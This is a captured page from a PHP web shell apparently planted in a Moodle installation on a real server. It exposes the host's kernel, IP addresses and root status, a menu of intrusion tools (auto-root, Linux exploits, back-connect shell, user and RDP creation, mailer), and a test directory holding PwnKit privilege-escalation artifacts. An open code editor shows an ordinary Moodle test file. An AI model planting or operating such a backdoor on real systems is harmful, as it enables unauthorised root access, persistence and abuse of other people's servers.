Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
user /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_blocks.feature
865
B
-rwxrwxrwx
addnewuser.feature
827
B
-rwxrwxrwx
behat_user.php
4.39
KB
-rwxrwxrwx
bulk_editenrolment.feature
2.93
KB
-rwxrwxrwx
bulk_message.feature
1.49
KB
-rwxrwxrwx
course_preference.feature
1.47
KB
-rwxrwxrwx
custom_profile_fields.feature
10.78
KB
-rwxrwxrwx
delete_users.feature
4.62
KB
-rwxrwxrwx
edit_user_enrolment.feature
6.83
KB
-rwxrwxrwx
edit_user_roles.feature
1.62
KB
-rwxrwxrwx
edituserpassword.feature
874
B
-rwxrwxrwx
enrol_cohort_list.feature
2.2
KB
-rwxrwxrwx
filter_idnumber.feature
3.18
KB
-rwxrwxrwx
filter_participants.feature
46.55
KB
-rwxrwxrwx
filter_participants_showall.fe...
6.73
KB
-rwxrwxrwx
full_name_display.feature
4.68
KB
-rwxrwxrwx
hidden_user_fields.feature
2.09
KB
-rwxrwxrwx
input-purpose.feature
2
KB
-rwxrwxrwx
name_fields.feature
3.02
KB
-rwxrwxrwx
participants_in_group_modes.fe...
9.9
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
reset_page.feature
915
B
-rwxrwxrwx
set_default_homepage.feature
2.54
KB
-rwxrwxrwx
set_email_display.feature
3.25
KB
-rwxrwxrwx
table_column_visibility.featur...
2.44
KB
-rwxrwxrwx
table_sorting.feature
3
KB
-rwxrwxrwx
user_grade_navigation.feature
4.56
KB
-rwxrwxrwx
view_full_profile.feature
5.11
KB
-rwxrwxrwx
view_participants.feature
15.19
KB
-rwxrwxrwx
view_participants_groups.featu...
3.38
KB
-rwxrwxrwx
view_preferences_page.feature
3.35
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_user.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * User steps definition. * * @package core_user * @category test * @copyright 2017 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php. require_once(__DIR__ . '/../../../lib/behat/behat_base.php'); use Behat\Mink\Exception\ExpectationException as ExpectationException; /** * Steps definitions for users. * * @package core_user * @category test * @copyright 2017 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_user extends behat_base { /** * Choose from the bulk action menu. * * @Given /^I choose "(?P<nodetext_string>(?:[^"]|\\")*)" from the participants page bulk action menu$/ * @param string $nodetext The menu item to select. */ public function i_choose_from_the_participants_page_bulk_action_menu($nodetext) { $this->execute("behat_forms::i_set_the_field_to", [ "With selected users...", $this->escape($nodetext) ]); } /** * The input field should have autocomplete set to this value. * * @Then /^the field "(?P<field_string>(?:[^"]|\\")*)" should have purpose "(?P<purpose_string>(?:[^"]|\\")*)"$/ * @param string $field The field to select. * @param string $purpose The expected purpose. */ public function the_field_should_have_purpose($field, $purpose) { $fld = behat_field_manager::get_form_field_from_label($field, $this); $value = $fld->get_attribute('autocomplete'); if ($value != $purpose) { $reason = 'The "' . $field . '" field does not have purpose "' . $purpose . '"'; throw new ExpectationException($reason, $this->getSession()); } } /** * The input field should not have autocomplete set to this value. * * @Then /^the field "(?P<field_string>(?:[^"]|\\")*)" should not have purpose "(?P<purpose_string>(?:[^"]|\\")*)"$/ * @param string $field The field to select. * @param string $purpose The expected purpose we do not want. */ public function the_field_should_not_have_purpose($field, $purpose) { $fld = behat_field_manager::get_form_field_from_label($field, $this); $value = $fld->get_attribute('autocomplete'); if ($value == $purpose) { throw new ExpectationException('The "' . $field . '" field does have purpose "' . $purpose . '"', $this->getSession()); } } /** * Convert page names to URLs for steps like 'When I am on the "[identifier]" "[page type]" page'. * * Recognised page names are: * | Page Type | Identifier meaning | Description | * | profile | username or email | User profile page (/user/profile.php) | * * @param string $type identifies which type of page this is, e.g. 'Editing'. * @param string $identifier identifies the user, e.g. 'student1'. * @return moodle_url the corresponding URL. * @throws Exception with a meaningful error message if the specified page cannot be found. */ protected function resolve_page_instance_url(string $type, string $identifier): moodle_url { switch (strtolower($type)) { case 'profile': $userid = $this->get_user_id_by_identifier($identifier); if (!$userid) { throw new Exception('The specified user with username or email "' . $identifier . '" does not exist'); } return new moodle_url('/user/profile.php', ['id' => $userid]); default: throw new Exception("Unrecognised page type '{$type}'."); } } }
Close